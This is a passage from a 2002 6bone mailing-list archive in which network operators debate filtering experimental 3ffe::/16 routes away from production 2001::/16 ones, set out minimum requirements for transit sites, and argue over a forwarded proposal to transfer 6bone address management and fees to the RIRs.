> even if an experimental pTLA messes up and starts announcing all prefixes
> with their own ASN, or gets hit by that dreaded withdrawal bug, the
> 2001::/16 network will still be operational to itself--just the 3ffe://16
> prefix may be bad.
>
> Production pTLAs announce all prefixes to everyone, and listen from
> other production pTLAs without the 2001::/16 filter.
>
> This will, of course, require all production networks to be interconnected
> by way of production networks only.  However, this method should be much
> easier to accomplish, as only production pTLAs need to make configuration
> changes to set this in place by adding a simple filter, instead of relying
> on the experimental pTLAs to filter outgoing announcements (and trying to
> contact them all); we just have to deal with the production-level pTLAs.

This sounds like a _much_ better idea, since the ones having
to implement this idea (the production sTLAs) are the exact
same ones who will benefit from it.

A proposal like this barely needs peer pressure, pure self
interest is enough to get this thing implemented by everybody.

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From riel@conectiva.com.br Wed Aug 21 15:15:07 2002
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On 22 Aug 2002, Nicolas DEFFAYET wrote:

> I add:
>
>   6) Don't provide by default full transit to peers, provide full
> transit only if peer request it.

This is a good idea, but I doubt it can be achieved in one
step.  I think it would be a good next step to take after
the production sites have implemented Jeff Barrow's better
version of my idea.

I'm not sure whether the experimental 6bone sites need to
participate in such schemes, however.  On one hand pure
self interest makes me want to have better routing too,
but on the other hand I think it would be useful to give
people an extra reason to migrate to production prefixes ;)

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From rvdp@kirk.rvdp.org Wed Aug 21 15:47:25 2002
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On Wed, Aug 21, 2002 at 17:52:25 -0300, Rik van Riel wrote:

> 2) peers notify each other whether their network is production
>    or experimental

I think I agree with Bill that production and experimental means
different things to different people. But this is a key question.
We want to get rid of the many routing problems. For this, I think
we have to look at transit providers only. So I guess we as the
6bone community have to come up with a list of *minimal* requirements
for 6bone transit sites.

Let me kickoff:
- respond to problems within 18 hours (24 hours? how about weekend?)
- peerings with topologically close neighbours (transit or peer
  sites) only
- actively cleanup current peering mess
- apply stringent prefix/AS filtering on peerings

maybe:
- active monitoring of peerings?

        rvdp

From Robert.Kiessling@de.easynet.net Wed Aug 21 16:30:13 2002
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Bill Manning <bmanning@ISI.EDU> writes:

> % You cannot seriously recomment anyone to trust production services to
> % a network in which a single faulty BGP implementation can and does
> % repeatedly bring down half the network (as recenty seen by AS1654).
> 
> 	What does a faulty BGP implementation have to do with 
> 	a prefix?

As you perfectly know, 6bone is more than address allocation. It also
describes the network of 6bone sites connected by tunnels, with the
general philosophy of generously allowing tunnels between any two
6bone sites, and exchanging full routing tables. It's symptomatic that
the 6bone whois does not even have a syntax to describe native
connections.

In the resulting BGP topology such errors as mentioned have a rather
long lasting and global effect. We were lucky enough that AS1654's
IPv4 upstream had a 24h NOC and reacted quick to turn them off, but
you cannot take that for granted.

Or take the ghost routes as an example. It's extremely hard to debug
this problem and isolate its root cause, due to the high ratio of
interconnections, and I believe (without being able to prove it) this
highly amplifies the problem.

You could argue that this could also happen without 6bone, i.e. with
sites having RIR allocations. However, we don't see this today, and
it's unlikely that those operators will show the same attitude.

The only way I see to permanently solve these problems is to have a
core of responsible and responsive operators with sensible network
interconnections, and apply route filters to other parties connecting
to this core.

> % There's now a lot of production IPv6 connectivity available, and I'm
> % pretty sure that the backbone which now deploy IPv6 natively can agree
> % to provide sufficient IPv6 connecticity, in return for a stable
> % network.
> 
> 	Please back your assertions.

Please ask for specific connectivity requirement that you think cannot
be provided without 6bone in its current form.

What is your proposal how we can move to a stable network without the
above mentioned problems?

Robert


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Bill Manning <bmanning@ISI.EDU> writes:

> 	One of the promises of v6 was that -AS A TRANSITION-
> 	folks could run dual stack.  Not to pick, but
> 	the router vendors I've looked at do not have 
> 	similar code quality or feature sets between v4 and v6.

Juniper does have very high code quality for IPv6. In fact we haven't
experienced any operational problem with running it in parallel to
IPv4, in contrast to The Router Vendor on dedicated routers.

> 	Ok, JP and SURFnet.  And now the I2 network.  Waiting
> 	on  (telco/ISPs) in the US to join the party.

Non-availability of high-quality IPv6 connectivity in US is not a good
reason to mess up European and Asian progress in this area.

> % More and more OSes run IPv6 out of the box. End users start using
> % IPv6 and notice problems because there are too many routing problems
> % on the 6bone. So they switch off IPv6 again. We are scaring people
> % away from IPv6 because of the tunnel mess, old router software
> % and sites that don't monitor the transit they are giving to everyone.
> 
> 	Same was true with inital IPv4 deployment.

You are really implying that today's user community has similar
requirements to that at those times?

Today you cannot tell the users "use IPv6, and by the way, don't worry
if you don't have connectivity, it will propably come back in a couple
of days".

Robert


From fink@es.net Wed Aug 21 19:21:31 2002
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From: Bob Fink <fink@es.net>
Subject: RE: [6bone] proposal for transfer of 6bone address management
  res ponsibilities to RIRs
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Roger,

At 07:33 PM 8/21/2002 +0200, Jorgensen, Roger wrote:
>Think Euro6IX's application would come under section 3.2.b) where it
>says that special application will there be made exceptions from.
>Correct me if I'm wrong, but that's how I understand that paragraph.
>
>
>But, will it be the RIR alone that make the decision on who should get
>addresses or is it the 6bone comunity (like today where it has a review
>periode before it's decided)? Or a joint effort from both?

I believe the RIRs want the 6bone community to make those decisions, with 
possible input from them.


Bob


From fink@es.net Wed Aug 21 19:22:38 2002
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Michel,

At 11:38 AM 8/21/2002 -0700, Michel Py wrote:
>Bob,
>
> >> Michel Py wrote:
> >> Bob, have you thought about the 6bone being a WG of its own
> >> (possibly outside the O&M area) or something similar? There
> >> are things such as the much discussed "STRICT" prefix-list
> >> and related topics that could be done more formally.
>
> > When I tried to do this in '96 it was placed into ngtrans by
> > the then responsible ADs. I'm not sure what is really
> > acceptable now, but intend to pursue it.
>
>I looks fair to me that that someone (possibly the IESG) addresses this
>situation; I was reading a minute ago the proposed agenda for the
>interim v6ops meeting and there is no mention of the 6bone. The
>conclusion of ngtrans (for reasons unrelated to the 6bone) does create a
>situation that the 6bone community has not initiated.
>
>I hope this is not boring but the reason I am commenting on the
>oversight issue is more a "devil's advocate" thing: If I was a RIR, I
>would certainly like to know clearly who oversees this /16 block that I
>am supposed to manage. RIRs generally don't like voids.

I believe that the RIRs think the IETF is responsible for the 3FFE block.


Bob


From bmanning@ISI.EDU Wed Aug 21 19:56:45 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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To: Robert.Kiessling@de.easynet.net (Robert Kiessling)
Date: Wed, 21 Aug 2002 19:56:22 -0700 (PDT)
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% > 	What does a faulty BGP implementation have to do with 
% > 	a prefix?
% 
% As you perfectly know, 6bone is more than address allocation. It also
% describes the network of 6bone sites connected by tunnels, with the
% general philosophy of generously allowing tunnels between any two
% 6bone sites, and exchanging full routing tables. It's symptomatic that
% the 6bone whois does not even have a syntax to describe native
% connections.

	Whois is never authoritative.  Remove 3ffe:: and we still 
	have a "network of (ipv6) sites connected by tunnels".
	your assertion of the "general philsophy" does not seem to 
	hold.   

% You could argue that this could also happen without 6bone, i.e. with
% sites having RIR allocations. However, we don't see this today, and
% it's unlikely that those operators will show the same attitude.

	Hogwash.  Route Churn is a serious problem in the v4 world
	and is/will be in the v6 world, regardless of prefix.

% The only way I see to permanently solve these problems is to have a
% core of responsible and responsive operators with sensible network
% interconnections, and apply route filters to other parties connecting
% to this core.

	That will only "work" if you reduce the network to 
	a single operator with zero interconnections and then
	you only eliminate the BGP problems. IGPs have their
	own issues w/ convergence.  Your "solution" is a red herring.

% > 	Please back your assertions.
% 
% Please ask for specific connectivity requirement that you think cannot
% be provided without 6bone in its current form.

	I would like to get native IPv6 service from 30% of the
	existing ISPs that have Los Angeles in their coverage
	footprint. Thats been a standing offer for two years.
	Have had two takers, one backhauling from Japan.
	Not what most would call production quality transit
	service. :)

	W/O 6bone (tunnels) there would be no viable v6 service
	in my region.  (this has been true since we started working
	w/ IPv6, with the 5f:: prefix, predating 6bone (3ffe::), since
	IPv6 capability was possible. 

% What is your proposal how we can move to a stable network without the
% above mentioned problems?

	Fundamentally its a social/cash issue. Persuading ISPs
	that v6 is required and backing those assertions with
	cash will allow ISPs to presure vendors to integrate
	v6 into mainstream support.  Now, with many ISPs "supporting"
	v6 on independent hardware which increases their OPEX, most can
	do this with "spare" hardware but are unable/unwilling to
	pay for the cost of independent v6 native circuits.  So
	we end up with distinct v4 and v6 hardware and the v6 is
	tunneled through the v4 circuits to other v6 endpoints.
	And with the v6 stuff on non-production hardware, it gets
	much less visability than the v4 stuff, on which their 
	cash flow depends.

	That said, perhaps the best way forward is to revise
	RFC 2770 (or what ever Robs document is) to describe
	what the existing community thinks is currently the
	set of practices which promotes stable routing in the
	v6 world, regardless of prefix.
	
	
% 
% Robert
% 


-- 
--bill

From michel@arneill-py.sacramento.ca.us Wed Aug 21 19:57:13 2002
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Bob,

> I believe that the RIRs think the IETF is responsible
> for the 3FFE block.

This is the way I read it too, the IETF responsible for the block and
RIRs managing it.

The point I was trying to make is that "the IETF" is awfully vague,
especially if it becomes "a concluded working group of the IETF".

It would be much better to have something like "The {IESG|IAB} oversees
the 6bone {WG|?} chaired by Bob Fink that has the responsibility for the
3ffe::/16 block".

Michel.
 

From bmanning@ISI.EDU Wed Aug 21 20:03:09 2002
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Subject: Re: [6bone] separating IPv6 experimental from production traffic
In-Reply-To: <m3wuqjojyx.fsf@joseba.easynet.de> from Robert Kiessling at "Aug 22, 2 00:44:38 am"
To: Robert.Kiessling@de.easynet.net (Robert Kiessling)
Date: Wed, 21 Aug 2002 20:03:00 -0700 (PDT)
Cc: bmanning@ISI.EDU, Ronald.vanderPol@rvdp.org, 6bone@ISI.EDU
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% Bill Manning <bmanning@ISI.EDU> writes:
% 
% > 	One of the promises of v6 was that -AS A TRANSITION-
% > 	folks could run dual stack.  Not to pick, but
% > 	the router vendors I've looked at do not have 
% > 	similar code quality or feature sets between v4 and v6.
% 
% Juniper does have very high code quality for IPv6. In fact we haven't
% experienced any operational problem with running it in parallel to
% IPv4, in contrast to The Router Vendor on dedicated routers.

	If only they would have told me about it before I made the
	last purchase of hardware.  They refused to even ack. v6
	support until after I had taken delivery of ~USD500k
	of routing gear.  Two weeks later they announced v6 support.
	No Juniper in our shop for another 24 months.  Thats a
	-LONG- time for code to mature.

% Non-availability of high-quality IPv6 connectivity in US is not a good
% reason to mess up European and Asian progress in this area.

	No reason to.  Route as you see fit.  Just don't dictate
	routing policy to me unless/until we directly peer and
	then we can have a discussion.


% > 	Same was true with inital IPv4 deployment.
% 
% You are really implying that today's user community has similar
% requirements to that at those times?

	Nope. I'm saying that code stability/interoperability
	was as bad or worse than in todays environment and circuit
	stability was much worse.  However the clue density of
	network users was -MUCH- higher.

% Today you cannot tell the users "use IPv6, and by the way, don't worry
% if you don't have connectivity, it will propably come back in a couple
% of days".

	Sure you can.  What is your business model?

% Robert


--bill

From tvo@EnterZone.Net Thu Aug 22 00:03:13 2002
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   6BONE List <6bone@mailman.isi.edu>
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 responsibilities to RIRs
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On Wed, 21 Aug 2002, Gert Doering wrote:

> Hi,
> 
> On Tue, Aug 20, 2002 at 09:03:43PM +0200, Nicolas DEFFAYET wrote:
> > 6bone address services must be free.
> > Since 1996 it's free and it's workfine !
> 
> It's free because some people donate time and effort for free.  You
> don't have a "Right" to get that for free for ever.  Get real.
> 

I agree whole-heartedly.  I do think that there should be some consolation
to early adoptors though - the same as in v4 land.  Something along the
lines of "if you had space allocated prior to [date] you will not be
required to pay fees for [space allocated prior to date]."



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From gert@Space.Net Thu Aug 22 00:35:25 2002
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Hi,

On Thu, Aug 22, 2002 at 03:02:41AM -0400, John Fraizer wrote:
> I agree whole-heartedly.  I do think that there should be some consolation
> to early adoptors though - the same as in v4 land.  Something along the
> lines of "if you had space allocated prior to [date] you will not be
> required to pay fees for [space allocated prior to date]."

That's about what I read in Bob's proposal - significantly reduced RIR fees
for "6bone sites".

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Thu Aug 22 00:53:47 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Chuck Yerkes <chuck+6bone@snew.com>
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On Wed, 21 Aug 2002, Chuck Yerkes wrote:
[...]
> I will wonder what happens when [Bob] wins the lottery and flys
> off with several supermodel/masseuses/chefs, never to be seen again.

Some people feel 'responsible' for their works or creations.  Perhaps you
don't if you consider this as a possibility worth mentioning.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Thu Aug 22 00:55:29 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: Rik van Riel <riel@conectiva.com.br>,
   Ronald van der Pol <Ronald.vanderPol@rvdp.org>,
   Bill Manning <bmanning@ISI.EDU>, <6bone@ISI.EDU>
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On 22 Aug 2002, Nicolas DEFFAYET wrote:
> > 5) production networks announce all prefixes to everybody
> 
> I add:
>   
>   6) Don't provide by default full transit to peers, provide full
> transit only if peer request it.

Automatic full transit per request is a road to disaster, *especially* if 
said peer will also give transit to others.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Thu Aug 22 01:06:13 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
cc: Rik van Riel <riel@conectiva.com.br>, <6bone@ISI.EDU>
Subject: Re: [6bone] separating IPv6 experimental from production traffic
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On Thu, 22 Aug 2002, Ronald van der Pol wrote:
> On Wed, Aug 21, 2002 at 17:52:25 -0300, Rik van Riel wrote:
> 
> > 2) peers notify each other whether their network is production
> >    or experimental
> 
> I think I agree with Bill that production and experimental means
> different things to different people. But this is a key question.
> We want to get rid of the many routing problems. For this, I think
> we have to look at transit providers only. So I guess we as the
> 6bone community have to come up with a list of *minimal* requirements
> for 6bone transit sites.
> 
> Let me kickoff:
> - respond to problems within 18 hours (24 hours? how about weekend?)
> - peerings with topologically close neighbours (transit or peer
>   sites) only
> - actively cleanup current peering mess
> - apply stringent prefix/AS filtering on peerings
> 
> maybe:
> - active monitoring of peerings?

Maybe section.

  - have sufficient available bandwidth (e.g. 10+ Mbit/s), with hardware
that can manage that, with a recent enough software which has no major
problems.

In any case, I don't think it's really possible to define unambiguously 
what a good transit is.. and what use is it, anyway?  Those folks probably 
don't care or think they're good.  Forgive my skepticism :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From gert@Space.Net Thu Aug 22 06:12:46 2002
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From: Gert Doering <gert@space.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   Rik van Riel <riel@conectiva.com.br>,
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Hi,

On Thu, Aug 22, 2002 at 10:55:01AM +0300, Pekka Savola wrote:
> On 22 Aug 2002, Nicolas DEFFAYET wrote:
> > > 5) production networks announce all prefixes to everybody
> > 
> > I add:
> >   
> >   6) Don't provide by default full transit to peers, provide full
> > transit only if peer request it.
> 
> Automatic full transit per request is a road to disaster, *especially* if 
> said peer will also give transit to others.

"Full transit to everybody" was a good idea to get a pretty tightly 
meshed IPv6 network into place, which is *good* because it means that
you have (typically) only few AS hops to traverse - and thus fewer 
networks in between that can mess up your routing.

Won't help against Ghosts, of course, but there is nothing besides
establishment of a clear upstream/downstream structure and strong
filtering on the downstream BGP sessions to fix *that*.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Thu Aug 22 06:18:02 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Gert Doering <gert@Space.Net>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   Rik van Riel <riel@conectiva.com.br>,
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   Bill Manning <bmanning@ISI.EDU>, <6bone@ISI.EDU>
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On Thu, 22 Aug 2002, Gert Doering wrote:
> "Full transit to everybody" was a good idea to get a pretty tightly 
> meshed IPv6 network into place, which is *good* because it means that
> you have (typically) only few AS hops to traverse - and thus fewer 
> networks in between that can mess up your routing.

And quality (or lack thereof) is equally indeterminate everywhere; as-path
length tells *nothing* about optimal paths, ...

Hierarchy is good.
 
> Won't help against Ghosts, of course, but there is nothing besides
> establishment of a clear upstream/downstream structure and strong
> filtering on the downstream BGP sessions to fix *that*.

Yep.

The question is whether we want to evolve 6bone network (very difficult,
but only if some transits would step up, *some* process might evolve..)  
or let it rot on purpose.  I'm starting to think voting for b).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From gert@Space.Net Thu Aug 22 06:27:59 2002
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Date: Thu, 22 Aug 2002 15:27:56 +0200
From: Gert Doering <gert@space.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Gert Doering <gert@Space.Net>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   Rik van Riel <riel@conectiva.com.br>,
   Ronald van der Pol <Ronald.vanderPol@rvdp.org>,
   Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: [6bone] separating IPv6 experimental from production traffic
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Hi,

On Thu, Aug 22, 2002 at 04:17:46PM +0300, Pekka Savola wrote:
> On Thu, 22 Aug 2002, Gert Doering wrote:
> > "Full transit to everybody" was a good idea to get a pretty tightly 
> > meshed IPv6 network into place, which is *good* because it means that
> > you have (typically) only few AS hops to traverse - and thus fewer 
> > networks in between that can mess up your routing.
> 
> And quality (or lack thereof) is equally indeterminate everywhere; as-path
> length tells *nothing* about optimal paths, ...

Of course.  But if you have *enough* peerings, you'll be able to reach
most networks in a maximum of 2 hops - and if you then apply some 
MED fiddling to mark "slow" tunnels, you can achieve pretty good results.

(Of course it's helpful if you tag your routes accordingly, so your peers
can filter accordingly).

This works amazingly well :-)

> Hierarchy is good.

Hierarchy isn't too bad *iff* there are major differences between 
participants.

As long as none of my upstream ISPs *offer* IPv6 connectivity, I don't 
see any reason why some of the ASes out there should be "further up"
or "further down" in the hierarchy than we are.

They are *peers*, more or less.

[..]
> The question is whether we want to evolve 6bone network (very difficult,
> but only if some transits would step up, *some* process might evolve..)  
> or let it rot on purpose.  I'm starting to think voting for b).

I see this as a market issue.  As soon as someone is actually willing to
spend money on *good* IPv6 connectivity, there is an incentive to avoid 
routing over trans-continental (or even international) tunnels, and things
will unravel on their own.

Of course I'm all for adding native peerings, dropping tunnels to
non-responsive peers (or to some that have a dendency to blackhole 
things), and so on.  But I don't expect a change to a hierarchically 
organized network of purely native links "really soon now".

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From itojun@itojun.org Wed Aug 21 17:45:15 2002
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From: itojun@itojun.org (Jun-ichiro itojun Hagino)
Subject: [6bone] Fw: [sig-ipv6] RE: [sig-policy] FW: Proposal for Transfer of 6bone Address ManagementResponsibilities to RIRs
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For those attending the coming APNIC Open Policy Meeting:

Please note that Ray Plzak, President and CEO of ARIN, will be
presenting this proposal on behalf of the RIRs during the Address Policy
SIG on 4/5 September.

Fur further details of the Open Policy Meeting programme, please see:

http://www.apnic.net/meetings/14/programme

Best regards,


________________________________________________________________________
Paul Wilson, Director-General, APNIC                      <dg@apnic.net>
http://www.apnic.net                            ph/fx +61 7 3858 3100/99
------------------------------------------------------------------------
See you at the 14th APNIC Open Policy Meeting          Kitakyushu, Japan
http://www.apnic.net/meetings/                        3-6 September 2002
------------------------------------------------------------------------


> -----Original Message-----
> From: owner-sig-policy@lists.apnic.net 
> [mailto:owner-sig-policy@lists.apnic.net] On Behalf Of APNIC 
> Secretariat
> Sent: Wednesday, August 21, 2002 6:10 PM
> To: apnic-announce@apnic.net; sig-policy@apnic.net; sig-ipv6@apnic.net
> Subject: [sig-policy] FW: Proposal for Transfer of 6bone 
> Address ManagementResponsibilities to RIRs
> 
> 
> Dear Colleagues,
> 
> It has been proposed that the management of the 6bone 
> 3FFE::/16 address
> space be transferred to the Regional Internet Registries (RIRs).  More
> information about the 6bone can be obtained at http://www.6bone.net/.
> 
> At a recent 6bone meeting, Bob Fink made a proposal for this 
> management
> transfer. A copy of the presentation slides are available at
> 
>    http://www.6bone.net/ngtrans/minutes/default.htm
> or at 
>    http://www.apnic.net/meetings/14/sigs/policy/index.html
> 
> These presentation slides were based on the text, "Policies 
> for transfer of
> 6bone address management responsibilities to RIRs," provided below.
> 
> Please send your comments about this proposal to the APNIC 
> Address Policy
> SIG mailing list (sig-policy@apnic.net). The 6bone and other 
> RIRs will be
> conducting similar reviews within their communities and APNIC will
> summarise the collective responses, issues, and concerns, 
> made in regard to
> this proposal. This review process will end on December 31, 2002.
> 
> Regards
> - APNIC Secretariat
> 
> 
> *******************
> 
> Policies for transfer of 6bone address management 
> responsibilities to RIR
> 
> Version: 20 August 2002
> 
> 1. Introduction
> 
> 6bone was established in 1996 as a continuing IPv6 test bed with the
> original purpose of testing of standards and implementations, 
> and the more
> current focus on testing of transition and operational 
> procedures, as well
> as application conversion.  It provides an opportunity for 
> those wanting
> early experience and/or needing to experiment with IPv6, with 
> a minimum of
> startup complexity, particularly in terms of address 
> management policies,
> and at minimal cost.  It also provides an open peer process for
> information, hookup help, and support, with strong ties to 
> the IETF process
> as well as to the operational community.
> 
> To date, 6bone address space has been allocated and registered in an
> informal process quite separate from the existing Regional Internet
> Registry system. The purpose of this proposal is to establish 
> a long term
> model that provides for a more "official" home for 6bone address space
> management within the established Internet administrative 
> structures. At
> the same time, the proposal recognizes that 6bone's most important
> functions as an accessible and informal test bed network must 
> be maintained.
> 
> This document proposes the transfer of responsibility for 
> administration of
> 6bone address space (3ffe::/16) to the Regional Internet 
> Address Registries
> (RIRs). It describes a set of policies and procedures for 
> this transfer,
> and for the ongoing administration of 6bone address space 
> within the RIR
> framework.
> 
> It should be noted that the ongoing operation of the 6bone, 
> and policies
> related to it, are still the purview of the 6bone community 
> itself. For
> example, 6bone network compliance with the 6bone routing 
> guidelines is a
> matter for the community itself to resolve, typically by mail lists.
> 
> It is also important to continue the strongly volunteer efforts of the
> 6bone, both to make it as easy and friendly as possible for 
> individuals,
> sites and networks to experiment and learn about IPv6, but 
> also to keep the
> process streamlined and cost-effective.
> 
> 2. Definitions
> 
> a) "6bone" and "6bone community", as it appears in section 3 
> below, means
> 6bone organizations and individuals including the RIRs, 
> "6bone members"
> (see below), and those participating in the 6bone mail list.
> 
> b) 6bone members are defined as entities which are approved 
> for address
> space allocation by the 6bone community in accordance with 
> 6bone policies,
> and who agree to be bound by those policies and the policies 
> stated below.
> 
> c) 6bone allocations are allocations of 6bone address space 
> which are held
> by 6bone members, or made to 6bone members in accordance with these
> policies.
> 
> d) 6bone address space is defined as IPv6 address space within the
> 3ffe::/16 address block.
> 
> 3. Policies
> 
> 3.1 General
> 
> a) In consultation with 6bone, RIRs will implement a common 
> set of policies
> applying specifically to 6bone allocations. This will follow 
> the current
> RFC2772, "6Bone Backbone Routing Guidelines" and/or successor 
> documents
> resulting as an evolution of conversations in the 6bone 
> community and the
> RIRs.;
> 
> b) 6bone members will be served by respective RIR in their region, for
> "6bone Address Services" including 6bone address allocation, database
> registration and  maintenance, and ip6.arpa registration (as described
> below);
> 
> c) In order to receive 6bone address services from an RIR as described
> here, each 6bone member must "join" that RIR, that is, enter into the
> appropriate membership or services agreement with the RIR.
> 
> d) RIR fees will be waived for 6bone address services 
> provided by RIRs to
> 6bone members (but not for other services 6bone members may 
> require), until
> 1 year after this agreement starts.  After this time each RIR 
> may charge an
> administration fee to cover each allocation made.  This fee 
> simply covers
> registration and maintenance, rather than the full allocation 
> process for
> standard RIR members. This administration fee should be as 
> low as possible
> as these requests do not have to undergo the same evaluation 
> process as
> those requested in the normal policy environment.
> 
> e) Organizations may receive 6bone address services from the 
> RIR only on
> approval by 6bone, and in accordance with these policies;
> 
> f) 6bone members will have the option to receive other 
> services from an RIR
> (including allocation of production IPv6 address space), by 
> following the
> policy, process and procedures in place at the time of application for
> those services.
> 
> g) Continuing compliance with 6bone policies, and with the 
> policies defined
> here, will be verified by 6bone at least every 2 years;
> 
> 3.2 6bone Address Services
> 
> a) 6bone Address Services include allocation of 6bone address space,
> registration and maintenance of database records relating to 
> that address
> space, and registration of ip6.arpa records;
> 
> b) 6bone address space allocations will be made from 
> 3ffe::/16 and only /32
> prefixes will be allocated. There will be exceptions for 
> unusual and new
> proposals per joint RIR and 6bone review and approval. A 
> relevant example
> of this is one or more new strategies such as geographic or metro
> addressing;
> 
> c) No additional 6-bone address space will be allocated to 
> any 6bone member
> (therefore no provision will be made for aggregation of multiple
> allocations, reservations etc);
> 
> d) 6bone address services will be provided strictly for experimental,
> non-commercial use;
> 
> e) Allocations will be made on the clear and stated 
> understanding that the
> prefix 3ffe::/16 has a limited lifetime. The dates for the 
> termination of
> allocation from the prefix and the expiration of the prefix will be
> determined at a future date.  The RIRs will not participate in these
> determinations.
> 
> f) 6bone address space will be returned to the RIR when no 
> longer in use,
> when reclaimed due to non-compliance with 6bone or RIR 
> policies, or when
> 3ffe: space is finally withdrawn;
> 
> g) Registration of 6bone address space within the ip6.int zone is not
> covered by this policy, and is at option of 6bone member;
> 
> h) Registration of 6bone sites, maintainers, persons and address space
> within the existing consolidated 6bone registry is not covered by this
> policy, and is at option of 6bone and its current policies.
> 
> 3.3 Transfer of existing 6bone members
> 
> a) Responsibility for existing 6bone members in respect of services
> described here will be transferred from 6bone to the 
> respective RIR, at the
> option of those members individually, on entering into the appropriate
> agreement with the RIR;
> 
> b) On joining the RIR, 6bone address registration records for 
> the member
> concerned will be transferred from 6bone registry to the 
> respective RIR
> database;
> 
> c) On joining the RIR, 6bone members may establish ip6.arpa delegation
> records in accordance with applicable RIR procedures;
> 
> d) Legacy holders will use RIR administrative procedures for 
> management of
> their records;
> 
> e) There will be a sunset (2 years?) on existing 6bone members not
> transferring to RIR administrative procedures, after which 
> their address
> allocation will be revoked.
> 
> 
> -- 
> ______________________________________________________________________
> APNIC Secretariat                              <secretariat@apnic.net>
> Asia Pacific Network Information Centre (APNIC)   Tel: +61-7-3858-3100
> PO Box 2131 Milton, QLD 4064 Australia            Fax: +61-7-3858-3199
> ----------------------------------------------------------------------
> See you at the 14th APNIC Open Policy Meeting        Kitakyushu, Japan
> http://www.apnic.net/meetings/                      3-6 September 2002
> ----------------------------------------------------------------------
> 
> 
> 
> 
> *              sig-policy:  APNIC SIG on resource management 
> policy           *
> * To unsubscribe: send "unsubscribe" to sig-policy-request@apnic.net *
> 

*              sig-ipv6:  APNIC SIG on IPv6 technology and policy issues           *
* To unsubscribe: send "unsubscribe" to sig-ipv6-request@lists.apnic.net *

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From Francis.Dupont@enst-bretagne.fr Thu Aug 22 12:02:02 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs 
In-reply-to: Your message of Tue, 20 Aug 2002 09:49:45 PDT.
             <5.1.0.14.0.20020820090936.02a21040@imap2.es.net> 
Date: Thu, 22 Aug 2002 21:01:33 +0200
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 In your previous mail you wrote:

   As mentioned previously, and presented at the Yokohama IETF 6bone meeting, 
   I have been discussing with the management of the three Regional Internet 
   Registries (APNIC, ARIN, and RIPE) the transfer of 6bone 3FFE::/16 address 
   space management to the RIRs.

=> IMHO this is not a good idea because this will put the whole control
of address allocation in few hands.
   
   c)	In order to receive 6bone address services from an RIR as described 
   here, each 6bone member must "join" that RIR, that is, enter into the 
   appropriate membership or services agreement with the RIR.
   
=> I strongly object to this if the "join" can't be done for a price
of zero (of course in this case RIRs will complain :-).

   d)	RIR fees will be waived for 6bone address services provided by RIRs to 
   6bone members (but not for other services 6bone members may require), until 
   1 year after this agreement starts.  After this time each RIR may charge an 
   administration fee to cover each allocation made.  This fee simply covers 
   registration and maintenance, rather than the full allocation process for 
   standard RIR members. This administration fee should be as low as possible 
   as these requests do not have to undergo the same evaluation process as 
   those requested in the normal policy environment.
   
=> one of the interest of IPv6 is to finish with this system of fees for
addresses. I am afraid that the current RIR monopoly will give at the end
something even nastier than ICANN.

Regards

Francis.Dupont@enst-bretagne.fr

From old_mc_donald@hotmail.com Thu Aug 22 13:08:04 2002
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-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On Behalf Of Ronald van der Pol
Sent: 21 August 2002 19:03
To: Bill Manning
Cc: 6bone@ISI.EDU

<snip> 

More and more OSes run IPv6 out of the box. End users start using
IPv6 and notice problems because there are too many routing problems
on the 6bone. So they switch off IPv6 again. We are scaring people
away from IPv6 because of the tunnel mess, old router software
and sites that don't monitor the transit they are giving to everyone.

	Rvdp

Hi All , (Sorry another long posting)

At the moment my own brief experience is that of Microsoft's IPv6
offering.
IPv6 stack can be downloaded, installed and configured for Windows 2000
(possibly 9x and NT also). Windows XP does provide IPv6 'out of the box'
though turned off by default. Typing in 'ipv6 install' into a DOS
